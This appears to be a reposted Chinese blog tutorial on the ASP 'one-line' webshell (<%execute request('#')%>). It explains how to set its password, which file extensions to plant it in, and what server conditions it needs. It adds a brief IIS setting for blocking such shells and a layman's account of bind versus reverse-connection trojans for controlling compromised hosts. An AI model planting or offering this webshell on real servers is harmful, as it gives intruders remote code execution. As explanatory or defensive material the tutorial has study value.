asp一句话木马原理

上善若水

一句话木马入侵原理

<%execute request(“#”)%>是典型的一句话木马服务端代码，将这个代码写入asp文件，就成了一句话木马服务端文件。 
仔细观察一下<%execute request(“#”)%>这句代码，括号里的“#”是我们一句话的密码，我们可以把它改成任意字符，这样可以避免别人发现我们的一句话木马后，轻松的通过它捡个大便宜，如果我们上传的一句话代码为<%execute request(“123456″)%>。那么在客户端连接文件里要将textarea name=”#”将其改为对应的textarea name=“123456”，才能连接成功。 
一句话木马工作的原理： 
将一句话木马插入到asp文件中（包括asa.cdx.cer文件），该语句将会作为触发，接收入侵者通过客户端提交的数据，执行并完成相应的入侵操作。 
客户端则用来向服务端提交控制数据，提交的数据通过服务端构成完整的asp功能语句并执行，也就是生成我们所需要的asp木马文件。 
一句话木马能连接成功有两个前提条件： 
一、服务器端没有禁止Adodb.Stream组件，因为我们使用一句话木马写入WebShell代码的条件是服务器端创建Adodb.Stream组件，如果该组件被禁用的话无法写入。 
二、权限问题，如果当前的虚拟目录禁止user组或者everyone写入，同样不会成功。  

如何启用“一句话”木马拦截功能？

（１）在服务器　wzxStopKeyWord.ini 文件中，设置　blockmuma = 1　表示启用此功能，拦sb截“一句话”木马。

（２）重启IIS即可生效。

       目前常见的木马有三种 正向连接木马 反弹连接木马 收信木马
       正向连接木马,所谓正向，就是在中马者在机器上开个端口，而我们去连接他的端口。而我们要知道他的IP，才能够连接他。123就是他机器上开的端口 由于到现在，宽带上网（动态IP）和路由器的普遍，这个软件就有很大的不足 动态IP：每次拨号，IP都会跟换.所以，就算对方中了木马，在下次拨号的时候，我们会因为找不到IP而丢肉鸡 路由器：就是多个电脑同用1条宽带（网吧上网就是最好的例子）他们通过路由器连接到宽带，例如：主机的IP为225.124.3.41，而内网（就是用路由器的机器）的IP为192.168.X.X。在内网环境下，我们外界是无法访问的，就是机器中了木马也没用。下面大家看下我的示意图。简单来说，内网的机器是比较安全的，外界是无法访问的，就是我们连接不了内网器。而连接内网的机器，除非在同区域网里（在网吧A机，就能用RIDMIN连接网吧的B机）. 简单总结：在不同区域网下，正向木马只能连接到外网的机器，而不能连接到内网的机器由于一系列的不足，就产生了反弹连接木马，例如出门的国产软件：灰鸽子
       反弹连接木马，就是在我们机器上开启一个端口，让中马者来连接我们，从而获得肉鸡的信息，就算对方的IP怎么改变，也是无际于事。如果我们自己机器上的IP改变了，肉鸡就无法找到我们的机器，从而无法获得肉鸡的信息，不过这点是不成问题的，WWW兴起，就有了域名。在网络中通过的对域名的访问能找到自己对应的IP地址，例如www.baidu.com的IP地址为22.181.38.4 如果百度的IP变成12.11.22.3的话，只要域名不改变，就算IP地址怎么变，它也能找到你。就算是内网的机器，我们也能获得他的信息。
总结到底：本地开启1个端口，肉鸡连接上我们，就算是内外网的机器也可以 反弹连接木马最头疼的地方就是使用者是内网状态的（大家可以看我的路线图，蓝色为反弹连接，黑色为正常连接）。说到为什么最头疼，大家就回忆下正向连接木马的原理。别人是无法直接访问路由器内的机器（内网）。

来源：https://blog.csdn.net/JackLiu16/article/details/78501378
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！